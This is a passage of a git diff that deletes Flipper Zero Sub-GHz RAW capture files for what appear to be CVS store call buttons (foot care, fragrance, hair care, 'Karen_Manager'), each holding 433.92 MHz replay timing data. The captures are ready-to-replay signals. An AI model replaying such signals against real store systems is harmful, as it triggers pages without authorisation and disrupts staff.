1584 -1504 784 -744 1584 -1508 780 -744 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1508 780 -744 1584 -1500 784 -744 1588 -1504 784 -736 1592 -1504 784 -736 1580 -4592 788 -744 1560 -1516 796 -740 1560 -1520 828 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -744 1584 -748 1540 -748 1580 -744 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -744 1548 -740 1592 -1504 784 -736 1592 -1500 788 -736 1584 -1508 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -744 1584 -4584 788 -748 1556 -1520 788 -744 1560 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1584 -740 1548 -744 1592 -1500 788 -736 1592 -1500 784 -740 1584 -1504 784 -1500 824 -1504 784 -1500 828 -1508 784 -740 1588 -1504 780 -744 1588 -1500 788 -736 1588 -1508 780 -744 1576 -4592 788 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -744 1540 -744 1584 -748 1544 -744 1584 -744 1548 -740 1584 -748 1544 -740 1588 -744 1548 -740 1592 -1504 784 -740 1588 -1508 780 -748 1580 -1504 784 -1500 824 -1508 784 -1504 828 -1504 784 -740 1588 -1504 780 -748 1580 -1508 784 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 792 -748 1556 -1516 832 -736 1556 -736 1592 -732 1556 -736 1588 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -748 1580 -748 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1588 -1500 788 -740 1584 -1508 780 -740 1584 -1504 780 -1508 824 -1504 784 -1504 828 -1504 780 -748 1580 -1508 780 -744 1584 -1508 784 -740 1588 -1500 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -744 1548 -736 1592 -736 1552 -736 1592 -740 1552 -736 1592 -736 1556 -736 1588 -740 1552 -740 1584 -740 1552 -736 1592 -1504 788 -744 1580 -1508 784 -744 1576 -1504 788 -1500 824 -1504 784 -1504 828 -1508 784 -736 1588 -1504 784 -740 1588 -1504 780 -748 1580 -1508 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub deleted file mode 100644 index f243005bc..000000000 --- a/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1512 792 -740 1564 -1512 832 -740 1544 -736 1592 -740 1544 -740 1584 -740 1552 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -1504 784 -740 1584 -1504 784 -744 1584 -1500 784 -740 1588 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -740 1584 -1500 788 -740 1588 -1500 784 -740 1580 -4584 792 -740 1564 -1516 788 -748 1560 -1508 836 -740 1544 -740 1584 -740 1552 -740 1584 -736 1552 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1548 -740 1588 -740 1544 -740 1592 -1504 780 -744 1584 -1500 788 -736 1588 -1508 780 -744 1584 -1500 788 -736 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -736 1584 -4588 788 -748 1560 -1512 792 -748 1556 -1512 832 -744 1540 -740 1588 -736 1552 -740 1588 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1588 -1496 792 -736 1580 -1508 784 -1500 824 -1504 784 -744 1584 -1500 784 -740 1588 -1500 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1556 -1520 828 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -736 1588 -740 1552 -736 1592 -740 1544 -740 1588 -740 1548 -740 1592 -736 1548 -744 1580 -744 1548 -740 1588 -740 1552 -740 1584 -740 1548 -740 1592 -1504 784 -744 1580 -1500 788 -736 1588 -1504 788 -740 1584 -1504 784 -740 1584 -1500 788 -1500 828 -1504 784 -740 1592 -1500 784 -740 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 792 -748 1556 -1516 832 -740 1548 -740 1584 -740 1552 -736 1592 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -736 1552 -740 1584 -744 1544 -740 1592 -736 1552 -740 1584 -744 1548 -740 1592 -1504 780 -744 1584 -1504 788 -744 1580 -1504 784 -740 1592 -1504 784 -740 1580 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1588 -1504 788 -740 1580 -4580 796 -740 1564 -1516 788 -748 1560 -1512 836 -736 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1584 -740 1552 -736 1592 -740 1544 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -736 1592 -740 1548 -740 1588 -1504 792 -736 1584 -1504 784 -740 1588 -1508 780 -744 1584 -1500 788 -740 1584 -1504 784 -1500 832 -1500 784 -744 1588 -1504 784 -740 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1508 792 -744 1560 -1516 -RAW_Data: 832 -740 1548 -744 1584 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -740 1588 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1500 788 -740 1588 -1500 784 -740 1584 -1508 780 -744 1584 -1500 784 -744 1580 -1500 788 -1504 828 -1504 788 -736 1584 -1504 788 -740 1584 -1508 780 -740 1580 -4592 788 -748 1560 -1508 796 -744 1560 -1516 832 -736 1548 -744 1584 -740 1548 -744 1588 -740 1544 -740 1584 -740 1556 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1592 -740 1548 -740 1588 -740 1544 -744 1588 -744 1544 -740 1592 -1504 784 -740 1588 -1504 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1584 -1504 788 -1500 828 -1504 784 -740 1588 -1500 784 -740 1588 -1500 788 -740 1576 -4588 788 -748 1560 -1512 792 -748 1560 -1512 828 -740 1548 -744 1584 -744 1544 -740 1584 -740 1556 -736 1584 -740 1548 -740 1588 -744 1544 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1584 -1504 784 -744 1584 -1504 784 -736 1588 -1508 780 -740 1580 -1500 788 -1504 828 -1500 792 -736 1588 -1504 780 -740 1588 -1504 784 -740 1580 -4584 792 -744 1560 -1516 792 -748 1556 -1516 828 -744 1548 -740 1588 -736 1548 -740 1588 -736 1552 -740 1588 -740 1544 -740 1588 -736 1556 -740 1584 -740 1548 -740 1588 -740 1552 -740 1580 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -744 1588 -1504 784 -740 1584 -1508 780 -744 1584 -1504 784 -740 1584 -1504 788 -736 1580 -1504 784 -1500 832 -1500 784 -740 1588 -1504 784 -740 1584 -1504 784 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub b/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub deleted file mode 100644 index 5b54779b6..000000000 --- a/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -748 1552 -1512 832 -740 1548 -740 1584 -740 1544 -744 1584 -740 1544 -744 1584 -744 1540 -744 1584 -740 1548 -740 1584 -744 1540 -748 1580 -744 1544 -740 1584 -744 1544 -740 1588 -744 1540 -748 1580 -744 1544 -740 1584 -1504 784 -1504 828 -1500 784 -744 1580 -1508 784 -744 1580 -1504 780 -748 1576 -1504 780 -1508 824 -1504 780 -744 1588 -1500 784 -744 1580 -1508 780 -744 1580 -4588 788 -748 1556 -1516 792 -748 1556 -1516 828 -744 1540 -744 1588 -740 1548 -740 1580 -748 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1584 -740 1548 -744 1580 -748 1544 -744 1584 -744 1544 -744 1580 -752 1540 -740 1588 -740 1548 -744 1580 -1508 780 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -1508 784 -740 1584 -1504 780 -1504 832 -1500 784 -744 1584 -1508 780 -740 1588 -1508 780 -744 1576 -4596 784 -752 1552 -1516 792 -752 1556 -1520 824 -744 1544 -744 1584 -740 1552 -744 1580 -744 1544 -744 1588 -740 1548 -744 1580 -744 1548 -748 1584 -744 1544 -744 1580 -748 1544 -740 1588 -744 1544 -744 1580 -744 1548 -740 1588 -740 1548 -744 1584 -1504 780 -1508 828 -1500 784 -744 1588 -1504 784 -744 1580 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1508 780 -744 1584 -1504 780 -748 1572 -4596 784 -752 1552 -1524 780 -756 1552 -1520 820 -752 1540 -748 1576 -752 1536 -752 1576 -752 1536 -756 1572 -752 1536 -752 1576 -752 1536 -752 1576 -756 1536 -748 1576 -752 1536 -752 1576 -752 1536 -752 1576 -748 1540 -752 1576 -752 1536 -752 1576 -1512 776 -1508 824 -1508 780 -748 1580 -1512 776 -748 1580 -1508 780 -748 1576 -1508 784 -1508 820 -1508 784 -744 1580 -1504 784 -744 1584 -1504 784 -744 1576 -4584 788 -748 1560 -1516 788 -752 1552 -1516 828 -744 1540 -744 1584 -744 1548 -740 1584 -748 1540 -744 1580 -744 1548 -744 1584 -744 1540 -748 1580 -748 1544 -736 1592 -740 1548 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1580 -1512 780 -1504 824 -1508 784 -736 1588 -1504 784 -744 1580 -1508 780 -744 1580 -1504 784 -1500 828 -1508 784 -744 1580 -1504 784 -744 1584 -1500 784 -740 1580 -4588 788 -748 1560 -1516 784 -752 1556 -1516 824 -744 1544 -744 1580 -744 1548 -744 1580 -740 1552 -740 1588 -740 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -740 1588 -1500 784 -1504 828 -1504 784 -744 1584 -1504 780 -744 1588 -1504 784 -744 1576 -1504 784 -1508 824 -1504 784 -744 1580 -1508 784 -736 1588 -1504 784 -744 1576 -4588 788 -752 1560 -1516 788 -744 1560 -1512 -RAW_Data: 828 -744 1548 -736 1588 -744 1544 -744 1580 -748 1544 -744 1580 -748 1544 -736 1588 -744 1544 -744 1580 -744 1544 -748 1580 -748 1540 -740 1588 -740 1548 -740 1584 -744 1544 -744 1580 -744 1548 -740 1584 -1500 788 -1500 828 -1508 776 -744 1584 -1504 784 -744 1584 -1504 780 -744 1580 -1508 780 -1504 824 -1508 780 -744 1588 -1504 784 -740 1584 -1508 780 -744 1580 -4588 788 -748 1556 -1520 788 -752 1552 -1520 828 -740 1548 -740 1588 -740 1544 -744 1584 -748 1540 -744 1588 -736 1548 -740 1584 -748 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1584 -1504 784 -1508 824 -1508 784 -744 1580 -1508 780 -744 1584 -1508 780 -748 1576 -1508 780 -1508 824 -1508 776 -748 1580 -1512 776 -748 1580 -1512 772 -752 1572 -4592 784 -752 1556 -1524 780 -756 1552 -1520 824 -748 1540 -748 1580 -748 1540 -752 1580 -744 1544 -748 1580 -748 1540 -748 1580 -744 1548 -740 1584 -748 1544 -744 1580 -748 1540 -744 1584 -744 1544 -744 1584 -748 1544 -744 1580 -744 1548 -740 1580 -1508 780 -1508 824 -1504 784 -744 1584 -1508 780 -740 1588 -1504 784 -744 1580 -1504 784 -1504 824 -1508 780 -748 1580 -1508 780 -744 1584 -1508 780 -740 1580 -4592 788 -748 1556 -1516 788 -748 1556 -1516 828 -744 1544 -744 1588 -736 1548 -744 1580 -744 1548 -744 1580 -748 1540 -744 1584 -740 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1580 -744 1544 -744 1584 -744 1548 -740 1588 -744 1544 -744 1584 -1500 784 -1508 828 -1500 788 -740 1584 -1508 780 -748 1584 -1500 784 -744 1580 -1504 780 -1508 828 -1504 784 -740 1588 -1504 784 -744 1584 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub b/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub deleted file mode 100644 index 736af1c1e..000000000 --- a/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -740 1560 -1516 792 -740 1560 -1516 832 -736 1548 -740 1584 -736 1548 -744 1584 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -736 1548 -744 1584 -736 1548 -736 1588 -740 1544 -740 1588 -736 1548 -744 1580 -744 1548 -732 1584 -1504 784 -1496 828 -1504 780 -1500 828 -1504 780 -1504 824 -1504 784 -740 1588 -1500 784 -740 1584 -1496 788 -1500 824 -1500 788 -1500 824 -1500 788 -1500 820 -4588 788 -752 1556 -1512 792 -744 1560 -1520 828 -736 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1580 -748 1544 -740 1588 -740 1548 -740 1588 -736 1552 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -744 1544 -740 1584 -1504 788 -1500 824 -1504 784 -1500 824 -1508 780 -1500 832 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -1504 824 -1504 780 -1504 824 -1508 780 -1500 828 -4584 792 -748 1560 -1516 788 -748 1556 -1516 828 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1552 -732 1592 -740 1552 -736 1588 -740 1548 -744 1588 -1504 780 -1504 824 -1504 784 -1500 828 -1504 784 -1500 832 -1504 780 -744 1588 -1504 780 -740 1584 -1500 788 -1504 824 -1500 788 -1504 824 -1504 784 -1504 820 -4588 792 -748 1560 -1512 792 -748 1556 -1520 828 -740 1548 -736 1588 -744 1548 -740 1584 -736 1552 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -736 1588 -1504 788 -1500 824 -1504 784 -1500 828 -1504 784 -1500 832 -1504 784 -740 1588 -1504 780 -744 1580 -1504 788 -1500 824 -1500 792 -1500 820 -1504 788 -1504 820 -4588 788 -744 1564 -1512 792 -744 1564 -1512 832 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -736 1584 -748 1548 -740 1584 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1588 -1504 780 -1504 824 -1504 784 -1504 820 -1504 788 -1504 828 -1500 788 -740 1584 -1504 784 -744 1580 -1500 788 -1504 820 -1504 788 -1500 820 -1504 788 -1496 828 -4588 788 -748 1560 -1512 792 -748 1556 -1520 832 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1588 -740 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1592 -736 1548 -744 1584 -744 1548 -736 1588 -736 1552 -744 1580 -1500 792 -1500 824 -1504 784 -1508 820 -1504 780 -1508 828 -1504 784 -744 1584 -1504 784 -744 1580 -1500 788 -1500 824 -1508 780 -1504 828 -1500 788 -1500 828 -4584 788 -748 1560 -1516 792 -744 1560 -1516 -RAW_Data: 832 -740 1552 -736 1588 -740 1548 -744 1584 -740 1548 -736 1588 -740 1552 -740 1588 -736 1552 -736 1588 -744 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -1504 784 -1504 824 -1504 784 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1504 784 -744 1580 -1504 784 -1504 820 -1504 784 -1504 824 -1504 784 -1500 828 -4588 788 -748 1560 -1516 792 -748 1556 -1520 828 -740 1552 -740 1584 -744 1544 -744 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -744 1584 -1500 792 -1504 820 -1504 784 -1500 828 -1504 780 -1504 832 -1504 780 -744 1588 -1504 788 -732 1588 -1500 784 -1500 828 -1504 784 -1504 820 -1500 788 -1508 820 -4588 788 -744 1564 -1512 792 -752 1552 -1524 824 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -744 1584 -736 1548 -740 1588 -744 1548 -740 1588 -736 1548 -740 1588 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 784 -1504 824 -1500 792 -1504 828 -1500 788 -740 1584 -1504 788 -740 1584 -1504 780 -1508 820 -1500 792 -1496 824 -1504 788 -1504 820 -4592 788 -748 1560 -1512 796 -744 1560 -1516 824 -748 1544 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -1500 788 -1504 820 -1508 784 -1504 824 -1500 788 -1504 828 -1504 784 -744 1584 -1500 792 -736 1584 -1504 784 -1500 828 -1500 788 -1500 824 -1504 788 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub b/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub deleted file mode 100644 index 1471421b4..000000000 --- a/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 796 -756 1548 -1528 772 -760 1544 -1524 820 -752 1532 -756 1568 -752 1536 -752 1568 -756 1532 -752 1572 -756 1532 -756 1568 -756 1532 -752 1572 -756 1528 -752 1576 -752 1536 -748 1572 -752 1536 -752 1572 -752 1532 -752 1572 -752 1536 -752 1572 -1512 772 -1512 816 -1516 768 -756 1572 -1512 772 -752 1568 -1516 768 -1512 812 -1512 772 -1512 816 -1508 776 -1508 812 -1516 772 -1512 820 -1508 776 -748 1568 -4592 780 -756 1548 -1524 776 -756 1548 -1524 816 -756 1532 -752 1572 -752 1532 -756 1568 -756 1532 -756 1568 -756 1528 -760 1564 -764 1524 -760 1568 -756 1528 -760 1564 -760 1528 -764 1560 -760 1528 -760 1564 -760 1524 -764 1564 -760 1524 -760 1564 -1524 764 -1520 808 -1524 764 -760 1568 -1520 764 -760 1560 -1524 764 -1520 804 -1524 764 -1520 804 -1524 764 -1520 804 -1524 760 -1520 812 -1524 760 -760 1560 -4604 772 -764 1540 -1532 772 -768 1536 -1536 808 -760 1528 -756 1568 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -756 1568 -760 1528 -760 1564 -764 1524 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -1524 764 -1520 808 -1524 764 -760 1564 -1524 764 -760 1564 -1520 768 -1520 804 -1524 764 -1524 804 -1524 764 -1520 804 -1520 764 -1524 808 -1524 764 -756 1560 -4608 768 -768 1540 -1532 772 -764 1540 -1532 812 -760 1528 -760 1564 -760 1528 -764 1564 -760 1524 -764 1564 -760 1528 -760 1568 -756 1532 -760 1564 -760 1528 -760 1568 -756 1532 -760 1564 -764 1528 -760 1564 -760 1532 -756 1568 -764 1524 -760 1568 -1524 764 -1520 808 -1524 764 -760 1568 -1520 768 -760 1564 -1520 768 -1520 808 -1516 772 -1516 812 -1516 772 -1512 816 -1512 776 -1512 820 -1512 776 -748 1576 -4592 784 -756 1556 -1520 780 -756 1552 -1520 828 -744 1540 -748 1584 -744 1544 -744 1584 -744 1540 -748 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1592 -740 1548 -740 1584 -1500 788 -1500 832 -1500 788 -740 1584 -1508 780 -740 1584 -1500 784 -1504 824 -1504 784 -1504 820 -1504 788 -1500 824 -1504 784 -1504 828 -1500 788 -740 1580 -4588 792 -740 1560 -1520 788 -752 1556 -1516 828 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1540 -744 1588 -744 1544 -744 1584 -740 1548 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -1504 784 -1508 828 -1504 780 -744 1584 -1500 792 -736 1584 -1504 784 -1500 828 -1500 784 -1508 820 -1504 784 -1504 820 -1504 780 -1508 828 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -744 1540 -748 1580 -740 1548 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -1504 784 -1500 828 -1504 784 -744 1584 -1500 788 -740 1580 -1504 784 -1504 820 -1504 784 -1504 828 -1500 784 -1508 820 -1504 784 -1508 820 -1508 784 -744 1576 -4592 792 -744 1560 -1512 792 -748 1560 -1520 824 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -736 1592 -736 1548 -748 1584 -744 1544 -740 1584 -1508 780 -1508 828 -1504 780 -744 1584 -1504 788 -736 1584 -1508 776 -1508 824 -1504 784 -1504 820 -1504 784 -1508 820 -1508 776 -1504 832 -1504 780 -744 1580 -4588 792 -744 1560 -1516 788 -748 1556 -1520 832 -736 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1552 -736 1588 -744 1548 -744 1584 -736 1552 -740 1584 -748 1544 -740 1584 -1504 780 -1508 828 -1504 784 -744 1584 -1504 780 -748 1576 -1504 784 -1508 820 -1508 780 -1504 820 -1504 784 -1508 820 -1504 784 -1504 824 -1508 784 -740 1580 -4588 788 -748 1564 -1508 796 -744 1560 -1520 828 -736 1548 -744 1588 -736 1548 -744 1580 -744 1548 -740 1588 -740 1552 -740 1584 -740 1548 -744 1588 -736 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1580 -744 1544 -748 1580 -1504 784 -1508 824 -1508 776 -748 1584 -1504 780 -744 1580 -1504 784 -1508 816 -1508 784 -1504 824 -1504 784 -1504 824 -1508 780 -1504 824 -1504 788 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Karen_Manager.sub b/assets/resources/subghz/Stores/CVS/Karen_Manager.sub deleted file mode 100644 index efce1ba65..000000000 --- a/assets/resources/subghz/Stores/CVS/Karen_Manager.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -744 1560 -1512 832 -736 1548 -740 1584 -740 1548 -740 1584 -744 1540 -740 1588 -744 1544 -740 1584 -736 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1592 -740 1544 -740 1588 -740 1544 -744 1584 -740 1552 -740 1588 -1504 784 -740 1584 -1508 784 -740 1580 -1508 784 -1504 824 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -740 1588 -1500 788 -744 1584 -1504 784 -740 1580 -4588 788 -744 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1552 -740 1580 -744 1548 -740 1588 -1500 788 -744 1584 -1504 780 -744 1580 -1504 784 -1500 828 -1504 788 -740 1580 -1504 788 -740 1584 -1504 780 -740 1588 -1504 788 -740 1584 -1500 792 -740 1576 -4588 792 -744 1560 -1516 788 -752 1556 -1516 828 -736 1552 -736 1588 -736 1552 -740 1584 -740 1544 -744 1584 -744 1544 -740 1592 -740 1540 -744 1584 -740 1552 -740 1580 -744 1548 -744 1584 -736 1552 -736 1592 -740 1548 -736 1588 -744 1544 -740 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 780 -744 1588 -1504 780 -744 1584 -1504 784 -744 1584 -1500 792 -740 1584 -1504 788 -736 1580 -4592 788 -744 1560 -1520 788 -748 1556 -1520 828 -740 1548 -740 1588 -744 1544 -740 1592 -736 1548 -740 1592 -740 1544 -744 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -1508 788 -736 1588 -1504 784 -744 1576 -1508 784 -1504 824 -1508 780 -740 1588 -1504 784 -736 1596 -1500 784 -740 1588 -1500 788 -740 1584 -1504 784 -740 1584 -4588 792 -744 1560 -1516 792 -744 1560 -1516 828 -744 1540 -744 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -744 1584 -740 1544 -744 1584 -740 1544 -744 1592 -740 1544 -736 1588 -744 1544 -744 1584 -744 1544 -744 1588 -1504 788 -740 1580 -1508 784 -744 1576 -1504 788 -1504 824 -1504 784 -740 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1504 784 -740 1584 -1504 784 -744 1580 -4588 784 -752 1556 -1512 792 -744 1560 -1516 828 -744 1544 -744 1588 -736 1548 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -736 1592 -1500 788 -744 1584 -1500 788 -736 1584 -1500 788 -1504 824 -1504 784 -740 1588 -1504 784 -736 1592 -1504 784 -740 1588 -1500 788 -740 1584 -1500 788 -740 1576 -4588 792 -744 1560 -1512 792 -748 1556 -1516 -RAW_Data: 832 -736 1548 -744 1584 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -740 1588 -1500 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1584 -1504 788 -736 1584 -4584 792 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -740 1544 -740 1592 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1552 -736 1588 -744 1548 -740 1584 -744 1548 -740 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -740 1592 -1500 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -740 1580 -4584 792 -744 1560 -1516 788 -748 1560 -1516 828 -740 1552 -740 1584 -740 1552 -740 1580 -744 1548 -740 1584 -744 1548 -740 1588 -744 1544 -740 1592 -736 1552 -740 1588 -744 1544 -740 1588 -740 1544 -744 1584 -744 1548 -744 1584 -736 1552 -740 1592 -1504 784 -740 1592 -1504 776 -744 1580 -1508 780 -1504 828 -1504 784 -744 1580 -1508 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1588 -1500 788 -740 1584 -4584 792 -744 1560 -1512 792 -748 1560 -1512 836 -740 1544 -740 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -744 1580 -744 1548 -740 1584 -740 1552 -740 1588 -1504 788 -736 1584 -1508 780 -748 1576 -1504 784 -1500 836 -1496 788 -740 1588 -1500 788 -740 1580 -1508 784 -744 1580 -1508 784 -740 1588 -1504 784 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Karen_Security.sub b/assets/resources/subghz/Stores/CVS/Karen_Security.sub deleted file mode 100644 index 1f3090427..000000000 --- 